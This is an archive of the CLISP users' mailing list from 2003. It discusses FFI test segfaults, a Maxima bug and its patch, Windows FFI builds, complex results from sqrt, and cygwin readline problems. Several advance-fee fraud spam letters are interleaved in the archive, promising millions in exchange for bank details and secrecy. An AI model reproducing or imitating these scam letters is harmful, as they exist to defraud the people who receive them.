+                     (setf ,tail (last ,tail) (cdr ,tail) ,tmp)
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Sam Steingold wrote:
> On 2003-06-13, changes were made to ViewCVS access and pserver CVS
> access.
<snip>
thanks for the info! it explains a lot...

> try the appended patch.
thanks! the patch fixed the first test problem, leaving the `make
testsuite` segfault (the FFI issue) to be the end of the compile.

> pretty stable.  AFAICT, everything that runs on clisp-2.30 or
> clisp-2.29 will run on CVS head as well.
> 
> the reason it is not released is that some new features have not been
> quite polished yet.  see <http://clisp.cons.org/wanted.html>.
> 
> the FFI regression crash you observe is due to the new test that
> uncovers an old problem - which needs to be fixed, of course.

thats great! now i can go on to learning maxima, and maybe see about
helping out there. since i started using emacs lisp has really grown on
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Sam,

>> (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST
>> (C-UNION (C1 (C-PTR CHARACTER)) (S (C-ARRAY-PTR CHARACTER)))) (OBJ
>> (C-PTR (C-UNION (C CHARACTER) (B BOOLEAN) (P C-POINTER))) :IN-OUT))
>> (:RETURN-TYPE (C-PTR CHARACTER)) (:LANGUAGE :STDC)) 
>(MULTIPLE-VALUE-LIST
>> (C-SELF #\w #\j)))
>> make[1]: *** [tests] Segmentation fault (core dumped)
>> make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite'
>
>This is FFI, it should not concern you either.
>Joerg Hoehle is working on this.

I've next to 0 time, but the split case you added for ffi.tst 1.13 is broken:
revision 1.13
date: 2003/06/17 18:42:33;  author: sds;  state: Exp;  lines: +22 -1
split the test that crashes on win32 into two

(progn
  (def-call-out c-self (:name "ffi_identity")
    (:arguments (obj (c-union (c1 character) ; BAD!
                              (s (c-array-ptr character)))))
    (:return-type (c-ptr character)) (:language :stdc))
  (c-self #\w))
is broken: you pass a character and return a pointer to character. That cannot be right. Did that test ever pass on any system?!

You probably meant to write (c-ptr (c-union (c1 character) ...)

(progn
  (def-call-out c-self (:name "ffi_identity")
    (:arguments (obj (c-ptr (c-union (c1 character)
                              (s (c-array-ptr character))))))
    (:return-type (c-ptr character)) (:language :stdc))
  (c-self #\w))
or maybe
(progn
  (def-call-out c-self (:name "ffi_identity")
    (:arguments (obj (c-union (c1 (c-ptr character))
                              (s (c-array-ptr character)))))
    (:return-type (c-ptr character)) (:language :stdc))
  (c-self #\w))
?
[Maybe add both forms :-)]

An arg of c-union type may point that ffcall has trouble with that (though I'm not sure ffcall gets to see that instead of the first union member)?? Which cases crashes on what systems?

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	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05705606@G8PQD.blf01.telekom.de>
> * On the subject of "Re: catch 22 compiling clisp for maxima: FFI crash"
> * Sent on Wed, 9 Jul 2003 17:51:22 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >> (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST
> >> (C-UNION (C1 (C-PTR CHARACTER)) (S (C-ARRAY-PTR CHARACTER)))) (OBJ
> >> (C-PTR (C-UNION (C CHARACTER) (B BOOLEAN) (P C-POINTER))) :IN-OUT))
> >> (:RETURN-TYPE (C-PTR CHARACTER)) (:LANGUAGE :STDC)) 
> >(MULTIPLE-VALUE-LIST
> >> (C-SELF #\w #\j)))
> >> make[1]: *** [tests] Segmentation fault (core dumped)
> >> make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite'
> >
> >This is FFI, it should not concern you either.
> >Joerg Hoehle is working on this.
> 
> I've next to 0 time

if not you, who?

> You probably meant to write (c-ptr (c-union (c1 character) ...)
> 
> (progn
>   (def-call-out c-self (:name "ffi_identity")
>     (:arguments (obj (c-ptr (c-union (c1 character)
>                               (s (c-array-ptr character))))))
>     (:return-type (c-ptr character)) (:language :stdc))
>   (c-self #\w))
works

> or maybe
> (progn
>   (def-call-out c-self (:name "ffi_identity")
>     (:arguments (obj (c-union (c1 (c-ptr character))
>                               (s (c-array-ptr character)))))
>     (:return-type (c-ptr character)) (:language :stdc))
>   (c-self #\w))

segfaults.

> An arg of c-union type may point that ffcall has trouble with that
> (though I'm not sure ffcall gets to see that instead of the first
> union member)?? Which cases crashes on what systems?

all c-union (without c-ptr) crash on all systems.

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hi there,

i have been on the clisp mailing list lately, as i was wanting to find a
patch to clisp-2.30 which fixed the floating point issues... i was
pointed to CVS which has these issues fixed. now however, i am getting
even stranger results from the symbolic math package maxima; with
clisp-2.30 (which is not reccomended, and i experience a few floating
point tests fail during make check), if i type a simple differentiation
like

(C1) diff(sin(x),x);
(D1)                                COS(x)

the result is as expected. if however, i use build maxima with clisp
CVS, i get this;

(C1) diff(sin(x),x);
                                  d
(D1)                              -- (SIN(x))
                                  dx

which as you can tell is not what i wanted. i recompiled maxima to the
version of clisp i have installed. since this is only apparent when i
use clisp CVS and not 2.30, i am reporting this on the clisp mailing
list also, as it is clearly a bug somewhere, and i am not experienced
enough in either package to find what could be causing it.

in the meantime, to allow me to sleep soundly at night; if anyone has a
patch against clisp-2.30 which fixes the floating point issues, i would
be very grateful to them. i have gcc-3.2.3, so clisp-2.29 does not
compile; also gcl has sed syntax errors in the configure script so i
cant build it. i am running GNU/Linux from Scratch.

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Sam wrote:

>all c-union (without c-ptr) crash on all systems.
Really!?

They do not crash on my Suse Linux using my CVS copy that I last updated on May, 16th.
I thought only mingw builds were concerned by crashes?

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>>>>> "Sam" == Sam Halliday <fommil@yahoo.ie> writes:


    Sam> (C1) diff(sin(x),x);
    Sam> (D1)                                COS(x)

    Sam> the result is as expected. if however, i use build maxima with clisp
    Sam> CVS, i get this;

    Sam> (C1) diff(sin(x),x);
    Sam>                                   d
    Sam> (D1)                              -- (SIN(x))
    Sam>                                   dx

This is caused by a recently discovered bug.  CVS CMUCL also fails in
this way.

Here is a potential solution.  Just use the following replacement in
src/commac.lisp.

Ray



(defun maclisp-typep (x &optional type)
  (cond (type
	 (lisp:let ((pred (get type 'ml-typep)))
	   (cond (pred
		  (funcall pred x))
		 (t (typep x type)))))
	(t
	 (typecase x
	   (cl:cons 'list)
	   (cl:fixnum 'fixnum)
	   (cl:integer 'bignum)
	   (cl:float 'flonum)
	   (cl:number 'number)
	   (cl:array 'array)
	   (cl:hash-table 'hash-table)
	   (t
	    (type-of x-type))))))


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> * In message <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se>
> * On the subject of "Re: [Maxima] maxima breaks with CVS clisp"
> * Sent on Thu, 10 Jul 2003 09:46:09 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> >>>>> "Sam" == Sam Halliday <fommil@yahoo.ie> writes:
> 
> 
>     Sam> (C1) diff(sin(x),x);
>     Sam> (D1)                                COS(x)
> 
>     Sam> the result is as expected. if however, i use build maxima with clisp
>     Sam> CVS, i get this;
> 
>     Sam> (C1) diff(sin(x),x);
>     Sam>                                   d
>     Sam> (D1)                              -- (SIN(x))
>     Sam>                                   dx
> 
> This is caused by a recently discovered bug.  CVS CMUCL also fails in
> this way.
> 
> Here is a potential solution.  Just use the following replacement in
> src/commac.lisp.

I am confused.  If this is a maxima bug, why does it manifest itself on
_both_ CVS CLISP and CVS CMUCL but not released versions?

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:


    Sam> I am confused.  If this is a maxima bug, why does it manifest itself on
    Sam> _both_ CVS CLISP and CVS CMUCL but not released versions?

It is a maxima bug.  It's caused by (type-of 1) not returning 'fixnum
anymore.  CVS CMUCL returns '(integer 1 1) and, I think, CVS Clisp
returns 'bit.

The original maxima code was essentially testing to see if (typep 3
(type-of 1)), which no longer works.

Ray


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Raymond Toy ?????:

>>>>>>"Sam" == Sam Halliday <fommil@yahoo.ie> writes:
> 
> 
> 
>     Sam> (C1) diff(sin(x),x);
>     Sam> (D1)                                COS(x)
> 
>     Sam> the result is as expected. if however, i use build maxima with clisp
>     Sam> CVS, i get this;
> 
>     Sam> (C1) diff(sin(x),x);
>     Sam>                                   d
>     Sam> (D1)                              -- (SIN(x))
>     Sam>                                   dx
> 
> This is caused by a recently discovered bug.  CVS CMUCL also fails in
> this way.
> 
> Here is a potential solution.  Just use the following replacement in
> src/commac.lisp.
> 
> Ray
> 
> 
> 
> (defun maclisp-typep (x &optional type)
>   (cond (type
> 	 (lisp:let ((pred (get type 'ml-typep)))
> 	   (cond (pred
> 		  (funcall pred x))
> 		 (t (typep x type)))))
> 	(t
> 	 (typecase x
> 	   (cl:cons 'list)
> 	   (cl:fixnum 'fixnum)
> 	   (cl:integer 'bignum)
> 	   (cl:float 'flonum)
> 	   (cl:number 'number)
> 	   (cl:array 'array)
> 	   (cl:hash-table 'hash-table)
> 	   (t
> 	    (type-of x-type))))))
> 

Maxima passes all tests on CLISP CVS
if I replace the last line by

  	    (type-of x))))))

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I have been reading the FFI part of the "impnotes".

(Perhaps) naturally the examples of "executing" are UNIX based, which because I work in Windows are
a bit "alien" to me.

Does anyone have an example of building a simple call to a C function on the Windows platform
(compiling, linking and such)?

Is it possible to use a Dynamic Link Library (DLL)? Is it possible dynamically - the example seems
to suggest (but I do not follow exactly) that static linking is necessay? What is Lisp.a?

Thanks,

Alex



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> * In message <NBBBLCLOKKHAGMJBNHDMCEHAGDAA.apeake@comac.com>
> * On the subject of "CLISP FFI and Win32"
> * Sent on Sun, 13 Jul 2003 15:12:15 -0700
> * Honorable "Alex Peake" <apeake@comac.com> writes:
>
> (Perhaps) naturally the examples of "executing" are UNIX based, which
> because I work in Windows are a bit "alien" to me.

get cygwin and build CLISP with

$ ./configure --with-mingw --with-module=regexp

you will get CLISP with a working module (and it will be a regular win32
executable without any run-time cygwin dependencies).

then, just follow the UNIXy examples in the impnotes and you will be
able to add modules of your own.

I hope Jorg will offer you a piece of his wisdom -- read his excellent
writeups (search mailing list archives).


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Date: Mon Jul 14 13:16:08 2003
X-Original-Date: Mon, 14 Jul 2003 21:44:22 +0200

Hallo

There is something going not so like I expect. I wrote a simple code
(see below) to examine some numbers. It works well with floats and
integers, (also shows the stack overflow when the numbers are to big,
but I use small numbers, so this is no problem). 

Now, when I type in (rechne (sin 30)) it returns some numbers in the way
like complex numbers are shown. And I think there is something going
wrong ...

Here is the code:

(setq rechen (make-array '(9 3)))

(print "Bitte eingeben (rechne xx) - xx steht für eine Zahl")
; this is: "please input (rechne xx) where xx is your number"

(defun rechne (zahl)

   (setf x (* zahl zahl))   (setf (aref rechen 0 0) x)
   (setf y (sqrt zahl))     (setf (aref rechen 0 2) y)
  (setf (aref rechen 0 1) "   ")
   (setf x1 (* x y))        (setf (aref rechen 1 0) x1)
   (setf y1 (/ x y))        (setf (aref rechen 1 2) y1)
  (setf (aref rechen 1 1) "   ")
   (setf x2 (* x1 y1))      (setf (aref rechen 2 0) x2)
   (setf y2 (/ x1 y1))      (setf (aref rechen 2 2) y2)
  (setf (aref rechen 2 1) "   ")
   ....
   (setf x8 (* x7 y7))      (setf (aref rechen 8 0) x8)
   (setf y8 (/ x7 y7))      (setf (aref rechen 8 2) y8)
  (setf (aref rechen 8 1) "   ")
   (print rechen)
)

The input is: (rechne (sin 30))

The output looks like this:

#2A((0.9762065 "   " #C(0 0.993997
    (#C(0 0.9703471) "   " #C(0 -0
    (0.9529791 "   " -0.9880316)
    ....


Please check it out on other systems (mine is win98 on P133-128MB) and
when it is like an error please correct it.

so long
stefan



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1. what is CLISP version?
2. what is the output you expect?
3. what is the precise code you tried (no "...." please).



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Date: Mon Jul 14 14:25:34 2003
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On Mon, 14 Jul 2003, lin8080 wrote:

> Now, when I type in (rechne (sin 30)) it returns some numbers in the way
> like complex numbers are shown. And I think there is something going
> wrong ...

The input to the trigonometric functions in Lisp, and many other
programming languages, is expressed in radians, rather than degrees. It
is an instant ``red flag'' when someone is trying to take the sine of
30 in a programming example that doesn't work. :)

Radians are units based on the idea that the radius of a circle
represents one unit going around the circle. Hence there are (* 2 pi)
radians to 360 degrees, and 30 degrees is (/ pi 6) radians or
about 0.524.

The reason some numbers coming out of your program are shown in complex
notation is because they really *are* complex. The value of (sin 30) is
approx -0.988. The square root of that is a negative number.

In some programming languages, taking the square root of a negative
number triggers an error. Lisp is different and better; it produces a
complex number. This is one of the advantages of dynamic typing.

Dynamic typing allows a function to compute an object whose type is
based on the properties of its inputs; the restriction that a function
must have a rigid, compile-time ``return type'' is not imposed.

> Here is the code:
> 
> (setq rechen (make-array '(9 3)))

This works as casual use in CLISP and other Lisp implementations, but
in serious Lisp programs you should use DEFVAR, DEFPARAMETER for
defining global variables.

It's not well-defined behavior to SETQ or SETF a symbol which has no
previously defined variable binding.

Also, unless you are working in your own package it's probably a good
idea to name global variables with a leading and trailing asterisk:

  (defvar *rechen* (make-array '(9 3)))

Use LET for local variables:

   (let ((x (* zahl zahl)))
     (setf (aref *rechen* 0 1) x))

But this really isn't any clearer than:

  (setf (aref *rechen 0 1)
        (* zahl zahl))




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Kaz Kylheku schrieb:

> On Mon, 14 Jul 2003, lin8080 wrote:

> > Now, when I type in (rechne (sin 30)) it returns some numbers in the way
> > like complex numbers are shown. And I think there is something going
> > wrong ...
> Radians are units based on the idea that the radius of a circle
> represents one unit going around the circle. Hence there are (* 2 pi)
> radians to 360 degrees, and 30 degrees is (/ pi 6) radians or
> about 0.524.

Yes, I know. I normaly use 57.3 to transform Grad in Radians. (x[rad] =
x * 57.3 [grad], y[grad] = y / 57.3 [rad]). Doing so, I get other
results (sin (/ 30 57.3)) vs (sin 30). 

> The reason some numbers coming out of your program are shown in complex
> notation is because they really *are* complex. The value of (sin 30) is
> approx -0.988. The square root of that is a negative number.

This is what HyperSpec says in section SQRT, ISQRT (file
/body/fun_sqrtcm_isqrt.html.) "... if the number is not a complex but is
negative, then the result is a complex" (12.1. ff). This case seems to
be clear. 

The mathematicans also say that a negativ sqrt is complex (right?), but
the same mathematicans say that (sqrt) is the reverse function of (*
zahl zahl) (which will returned only positiv numbers) and they also
describe for what kind of numbers this is valid. 

The practical reason why there is +,- in trigononic functions, is to say
where the point of the graph is in the xy-system. And for that no
complex is needed, only 2 values.  

So the question should be: is there a way to suppress the complex number
representation in negative trigonomic values, when a sqrt is involved?  

> In some programming languages, taking the square root of a negative
> number triggers an error. Lisp is different and better; it produces a
> complex number. This is one of the advantages of dynamic typing.

Yes, right. I also see simple 0 instead of an error (some small
scheme-lisps). 


> > (setq rechen (make-array '(9 3)))
> This works as casual use in CLISP and other Lisp implementations, but
> in serious Lisp programs you should use DEFVAR, DEFPARAMETER for
> defining global variables.

> It's not well-defined behavior to SETQ or SETF a symbol which has no
> previously defined variable binding.

Oh, this is more like my privat convention. For variables/symbols that
will not change I use the old  SETQ. The rest is SETF. And don't worry,
this code will not find a way into a package. It is only a quick hack to
see a series of digits is equal or not. The file names "zahl5.lsp" and
is executed as needed with (load ".."). Only when playing around I
realised the complex representation in trigonomic functions and I
reported this, because it makes me wonder how to interpret complex (sin
x) values and while there is a similar mail with maxima (sin x) here.

stefan



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lin8080 wrote:

>
>Kaz Kylheku schrieb:
>
>
>
>This is what HyperSpec says in section SQRT, ISQRT (file
>/body/fun_sqrtcm_isqrt.html.) "... if the number is not a complex but is
>negative, then the result is a complex" (12.1. ff). This case seems to
>be clear. 
>
>The mathematicans also say that a negativ sqrt is complex (right?), but
>the same mathematicans say that (sqrt) is the reverse function of (*
>zahl zahl) (which will returned only positiv numbers) and they also
>describe for what kind of numbers this is valid. 
>

You have to take into account the domain of the function. To take the 
reverse function, you must consider the function only on a sub-domain 
where it's a bijection.

For example, if you consider: 

    f : ]-infinity, 0] ------> [0, +infinity[
                   x  |------> x*x

then the reverse is:

    f^-1 : [0, +infinity[ -----> ]-infinity, 0]
                   x     |-----> - sqrt(x)

Note that this other function:

    g : [0, +infinity[ ------> [0, +infinity[
                   x  |------> x*x

which looks a lot like f, has not the same reverse function!

And of course, a function square : R --> R, x |--> x*x is not a 
bijection, so it has no reverse.

So you see, you cannot expect the operators implemented in Lisp to 
correspond to the mathematical function you're manipulating.
In maths, there are a lot of square root function, all defined on a 
different domain, and with a different image set.

In computer languages we choose to implement one specific function, with 
a domain and image set considered useful. 

Since Lisp knows about complex, it naturally defines sqrt over the 
complexes and returns a complex (unless the imaginary part is null, in 
which case it's a real).
    

>
>
>The practical reason why there is +,- in trigononic functions, is to say
>where the point of the graph is in the xy-system. And for that no
>complex is needed, only 2 values.  
>
>So the question should be: is there a way to suppress the complex number
>representation in negative trigonomic values, when a sqrt is involved?  
>
Yes, define properly your functions, and implement them accordingly.

(defun my-square-over-R-plus (x)
  (assert (and (realp x) (<= 0 x)))
  (* x x))

(defun my-square-root-over-R-plus (x)
    (assert (and (realp x) (<= 0 x)))
    (sqrt x))



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Date: Sat Jul 19 17:35:05 2003
X-Original-Date: zo, 20 jul 2003 02:33:33

Dear friend,

You may be surprised to receive this letter from me since
you do not know me personally. I am the first son of the
most popular black farmer in Zimbabwe who was
murdered in the land dispute in my country. I got your
contact through network online hence decided to write
you. Before the death of my father, he had taken me to
Johannesburg to deposit the sum of USD5.Million (Five
million United States dollars), in one of the private
security company, as he foresaw the looming danger in
Zimbabwe. This money was deposited in a box as gem
stones to avoid much demurrage from Security Company.
This amount was meant for the purchase of new machines
and chemicals for the Farms and establishment of new
farms in Swaziland. This land problem came when
Zimbabwean President Mr. Robert Mugabe when he
introduced a new Land Act Reform wholly affecting the
rich white farmers and some few black farmers, and this
resulted to the killing and mob action by Zimbabwean
war veterans and some lunatics in the society. In fact a lot
of people were killed because of this Land reform Act for
which my father was one of the victims. it is against this
background that I and my family fled Zimbabwe to South
Africa for fear of our lives.

After which I traveled to the Netherlands and I am
currently staying in the Netherlands where i am seeking
political asylum and more so have decided to transfer my
father's money to a more reliable foreign account. Since
the law of Europe prohibits a refugee (asylum seeker) to
open any bank account or to be involved in any financial
transaction throughout the territorial zone of European
Union. As the eldest child of my father, I am saddled with
the responsibility of seeking a genuine foreign account
where this money could be transferred without the
knowledge of my government who are bent on taking
everything we have got.

The South African government seems to be playing along
with them. I am faced with the dilemma of moving this
amount of money out of South Africa for fear of going
through the same experience in future. Both countries
have similar political history. I am seeking for a partner
who I have to entrust my future and that of my family in
his hands, I must let you know that this transaction is risk
free. If you accept to assist me and my family, all I want
you to do for me, is to make arrangements with the
security company to clear the Consignment (funds) from
their affiliate office here in the Netherlands as i have
already given directives for the consignment to be brought
to the Netherlands from South Africa.

But before then all modalities will have to be put in place
like change of ownership to the consignment. I have two
options for you. Firstly you can choose to have certain
percentage of the money for nominating your account for
this transaction. Or you can go into partnership with me
for the proper profitable investment of the money in your
country. Whichever the option you want, feel free to
notify me. I have also mapped out 2% of this money for
all kinds of expenses incurred in the process of this
transaction. If you do not prefer a partnership I am willing
to give you 10% of the money while the remaining 88%
will be for my investment in your country. Contact with
me immediately while I implore you to maintain the
absolute secrecy required in this transaction.

Thanks, GOD BLESS YOU

Best regards,

NOTE:
ON YOUR INABILITY TO HANDLE THIS
TRANSACTION RESPOND TO ME AND INFORM
ME SO I CAN LOOK FOR SOMEONE ELSE.




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Date: Sat Jul 19 18:14:04 2003
X-Original-Date: zo, 20 jul 2003 03:12:44

Dear friend,

You may be surprised to receive this letter from me since
you do not know me personally. I am the first son of the
most popular black farmer in Zimbabwe who was
murdered in the land dispute in my country. I got your
contact through network online hence decided to write
you. Before the death of my father, he had taken me to
Johannesburg to deposit the sum of USD5.Million (Five
million United States dollars), in one of the private
security company, as he foresaw the looming danger in
Zimbabwe. This money was deposited in a box as gem
stones to avoid much demurrage from Security Company.
This amount was meant for the purchase of new machines
and chemicals for the Farms and establishment of new
farms in Swaziland. This land problem came when
Zimbabwean President Mr. Robert Mugabe when he
introduced a new Land Act Reform wholly affecting the
rich white farmers and some few black farmers, and this
resulted to the killing and mob action by Zimbabwean
war veterans and some lunatics in the society. In fact a lot
of people were killed because of this Land reform Act for
which my father was one of the victims. it is against this
background that I and my family fled Zimbabwe to South
Africa for fear of our lives.

After which I traveled to the Netherlands and I am
currently staying in the Netherlands where i am seeking
political asylum and more so have decided to transfer my
father's money to a more reliable foreign account. Since
the law of Europe prohibits a refugee (asylum seeker) to
open any bank account or to be involved in any financial
transaction throughout the territorial zone of European
Union. As the eldest child of my father, I am saddled with
the responsibility of seeking a genuine foreign account
where this money could be transferred without the
knowledge of my government who are bent on taking
everything we have got.

The South African government seems to be playing along
with them. I am faced with the dilemma of moving this
amount of money out of South Africa for fear of going
through the same experience in future. Both countries
have similar political history. I am seeking for a partner
who I have to entrust my future and that of my family in
his hands, I must let you know that this transaction is risk
free. If you accept to assist me and my family, all I want
you to do for me, is to make arrangements with the
security company to clear the Consignment (funds) from
their affiliate office here in the Netherlands as i have
already given directives for the consignment to be brought
to the Netherlands from South Africa.

But before then all modalities will have to be put in place
like change of ownership to the consignment. I have two
options for you. Firstly you can choose to have certain
percentage of the money for nominating your account for
this transaction. Or you can go into partnership with me
for the proper profitable investment of the money in your
country. Whichever the option you want, feel free to
notify me. I have also mapped out 2% of this money for
all kinds of expenses incurred in the process of this
transaction. If you do not prefer a partnership I am willing
to give you 10% of the money while the remaining 88%
will be for my investment in your country. Contact with
me immediately while I implore you to maintain the
absolute secrecy required in this transaction.

Thanks, GOD BLESS YOU

Best regards,

NOTE:
ON YOUR INABILITY TO HANDLE THIS
TRANSACTION RESPOND TO ME AND INFORM
ME SO I CAN LOOK FOR SOMEONE ELSE.




From aliahmed@ecplaza.net Mon Jul 21 22:09:01 2003
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DR ALI AHMED. 
LAGOS, NIGERIA. 
  
A very good day to you. We have an immediate business proposal that involvesUS$ 21.320.000.00 (Twenty-one Million Three Hundred and Twenty ThousandUnited States Dollars) which we will like to invest under your custody. 

Once I receive a message from you notifying me of your interest,the details of the transaction/the terms and condition of sharing 
regarding the business would then be brought to your knowledge.
Your urgent response will be highly appreciated and will swiftly 
bring us to the commencement of the transaction. 

We hope to conclude this transaction within 10-12 working days.Do not forget to contact me on the receipt of this e-mail address.And please you have to maintain absolute confidentiality as regards this pending transaction. 
  
I urgently await your response. 
  
Best Regards, 
  
DR ALI AHMED. 


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>>>>> "Vadim" == Vadim V Zhytnikov <vvzhy@mail.ru> writes:


    Vadim> Maxima passes all tests on CLISP CVS
    Vadim> if I replace the last line by

    Vadim>   	    (type-of x))))))

Oops!  I'll fix this and commit it shortly.  This will be the
implementation for all Lisps.

Ray


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Hi all, I have a colleague that wants to do some casual Lisp
programming in Lisp on his Mac Powerbook (G4 I think) which runs Mac
OS X.  I'm thinking CLISP is his best bet for that platform, and
ideally I'd like to point him to a binary, but I only see the dusty
2.29 vintage CLISP in binary form for Mac.

I'm wondering (a) is there a more recent binary somewhere, or (b)
could someone make me a more recent one, or (c) are there any tricks
required to build it from source on the Mac.  In short, what is the
best way for one to bring up CLISP quickly on a relatively new Mac?

---
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Date: Wed Jul 30 04:40:06 2003
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Sir,

                                                          URGENT BUSINESS RELATIONSHIP

I was the chairman of contract review panel in my country before the problem of the land reform program in my country Zimbabwe. Before the escalation of the situation in Zimbabwe I recovered $16.8Million US dollars from over inflated contracts by some government officials. But I was a member of the opposition party the MDC (Movement for Democratic Change), and the ruling Party, (ZANU PF) has been against us. So I had to flee the country for a neighbouring African Country which I am currently residing.

Before the escalation of the situation in Zimbabwe I had not reported the recovery of my findings to the panel. So this money was in my possession and I lodged it in a security company here in Africa and currently this money has been moved to their security branch in Europe.

I have been trying to fly to Europe but it has been difficult for me to get a visa from Africa. So I want you to help me make claims of this fund($16m) in Europe as my beneficiary and transfer the money to your account or any account of your choice before I can get a visa to fly down. So that we can share this money.

I have agreed to give you 10%,which would be ($1.6Million dollars) of this Money for your assistance, and 87% would be mine and the other 3% would be set aside for any expenses that we may incure during the course of this transaction. And part of my 87% would be invested in your country in any profitable business propossed by you. While a large part of my share will be also be used to help the suffering people of my country Zimbabwe.

We have never met, but I want to trust you and please do not let me down when this fund finally gets into your account. Please if you are interested, get to me through my email address to enable me feed you with more details and all necessary documentations.

Please treat this as confidential

Best regards.

NOTE: YOU CAN READ ABOUT PROBLEMS IN ZIMBABWE FROM THE LINKS BELOW
http://www.1freespace.com/beetee/nov19_2001.html
http://news.bbc.co.uk/1/hi/world/africa/918781.stm
http://news.bbc.co.uk/1/hi/world/africa/715001.stm
http://news.bbc.co.uk/1/hi/world/africa/1063785.stm





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Hi,

the recent thread in comp.lang.lisp started by John Proctor lead me to =
ask you the following:

1. Would people object if -C (*load-compiling*) were set (to true) by =
default?
2. What about the default value of *print-pretty*?


Ad 1 pros and cons:
+ benchmarks =E0 la "time clisp hanoi.cl" would yield much much
  improved times (should beat Python any time).
+ other implementations (MCL?) only have a compiler anyway
  and use a read-compile-funcall-print loop.
+ novices may benefit from "unused variable/undeclared variable" =
warnings
- novices may be confused by such warnings
- step is much less useful with compiled functions


Ad 2
*print-pretty* had been set to false for many years. It was only not =
too long ago that the decision was made, IIRC based on "todays machines =
are fast enough" reasoning, to set it to true in the default =
configuration.

I'm unsure whether Proctor's program would have been or was much =
affected by the value of *print-pretty* in CLISP (it made a lot of a =
difference with CMUCL).

What do CLISP users think?

Regards,
	J=F6rg H=F6hle


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Date: Sat Aug  2 11:04:03 2003
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Hi,
the current cvs version compiles fine under cygwin but I'm unable to use
readline.

I do
(a) ./configure /tmp/clisp
(b) cd /tmp/clisp; ./makemake --with-dynamic-ffi --with-readline > Makefile 
(c) make

All seems to be fine but I can't use readline.

In unixconf.h I can read:
,----
| /* CL_READLINE */
| /* Define if you have a recent readline (4+). */
| #define HAVE_READLINE 1
| /* Define as const if the declaration of filename_completion_function()
|    needs const in the first argument */
| #define READLINE_CONST const
| /* The readline built-in filename completion function, either
|    rl_filename_completion_function() or filename_completion_function() */
| #define READLINE_FILE_COMPLETE rl_filename_completion_function
`----

Also linking happens with -lreadline; from the Makefile
,----
| LIBS = -lintl libcharset.a libavcall.a libcallback.a -lreadline -lncurses   -liconv 
`----

I see one problem in config.log
,----
| configure:23270: checking readline/readline.h usability
| configure:23283: gcc -c -g -O2  conftest.c >&5
| configure:23286: $? = 0
| configure:23289: test -s conftest.o
| configure:23292: $? = 0
| configure:23302: result: yes
| configure:23306: checking readline/readline.h presence
| configure:23317: gcc -E  conftest.c
| configure:23323: $? = 0
| configure:23342: result: yes
| configure:23378: checking for readline/readline.h
| configure:23385: result: yes
| configure:23399: checking for library containing readline
| configure:23430: gcc -o conftest.exe -g -O2   conftest.c -lncurses  >&5
| /c/WINDOWS/TEMP/ccKd7JgM.o(.text+0x16): In function `main':
| /tmp/clisp/configure:23599: undefined reference to `_readline'
| collect2: ld returned 1 exit status
`----

When I try to use eg. the tabkey only a tab char gets inserted and with
the arrow keys I only can read the following:

[1]> 
*** - READ from #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM> #<IO TERMINAL-STREAM>>: illegal character #\Escape
1. Break [2]> 


With eg. guile (which comes precompiled with cygwin) the readline lib
can be used without problems.


   Karl
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works fine on my system compiled with cvs head on 2003-08-01

Karsten

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> * In message <m365lgnf2y.fsf@hamster.pflaesterer.de>
> * On the subject of "Clisp (cvs) cygwin and readline"
> * Sent on Sat, 02 Aug 2003 19:59:30 +0200
> * Honorable sigurd@12move.de (Karl Pflästerer) writes:
>
> the current cvs version compiles fine under cygwin but I'm unable to
> use readline.
works for me.

> | /* CL_READLINE */
> | /* Define if you have a recent readline (4+). */
> | #define HAVE_READLINE 1

so you do have a working readline.

> | configure:23430: gcc -o conftest.exe -g -O2   conftest.c -lncurses  >&5
> | /c/WINDOWS/TEMP/ccKd7JgM.o(.text+0x16): In function `main':
> | /tmp/clisp/configure:23599: undefined reference to `_readline'
> | collect2: ld returned 1 exit status

look below - you will see success with -lreadline.

> When I try to use eg. the tabkey only a tab char gets inserted and with
> the arrow keys I only can read the following:
> 
> [1]> 
> *** - READ from #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM> #<IO TERMINAL-STREAM>>: illegal character #\Escape
> 1. Break [2]> 

this usually means that CLISP thinks that it is not on a console.
see make_terminal_stream_() in src/tream.d.
(./configure --with-debug --build build-g)
you will probably discover that same_tty is false.
why?
are you running on a cygwin xterm/rxvt?


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B6F2@G8PQD.blf01.telekom.de>
> * On the subject of "Re: FFI crash: what am I missing?!"
> * Sent on Mon, 4 Aug 2003 13:00:33 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Or allowing NIL for c-pointer (and return NIL for c-pointer as NULL!),
> as I said would be ok in last week's e-mail.

so, I take it that you think this is a good idea, right?
Unless Bruno objects, I will make NIL a valid value for c-pointer and
interpret it as a NULL pointer, and convert NULL to NIL on return.
the users will have to change their checks from

        (FFI:FOREIGN-ADDRESS-NULL return-value)

to

        (NULL return-value)

I will also remove the function FFI:FOREIGN-ADDRESS-NULL since it will
become useless.

objections?

<you can find the relevant discussion on clisp-devel; I move it to
clisp-list to get feedback from users on this proposed change>

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what is the correct idiom for the C "unknown type array"?
E.g., suppose
        int* foo();
will return the array of integers of size N, where N is the return
value of another function
        int foo_size();
how do I express foo() and foo_size() in CLISP FFI?

this:

(def-call-out foo (:arguments) (:return-type (c-ptr-null int)))
(def-call-out foo_size (:arguments) (:return-type int))
(defun get-foo ()
  (let ((size (foo_size))
        (ptr (foo)))
    (ffi:cast ptr (c-array int size))))

shouldn't probably work (ptr is not a place, right?)

Suppose
        int foo (int *size, int**arr);
returns status and puts the length of the array into `size' and the
pointer of the array into `arr'.
what is the correct CLISP FFI idiom?

(def-call-out foo
  (:arguments (size int :out) (arr (c-array-ptr int) :out))
  (:return-type int))
(defun get-foo ()
  (multiple-value-bind (status size arr) (foo)
    (when (zerop status)
      (ffi:cast arr (c-array int size)))))

same problem...

thanks!


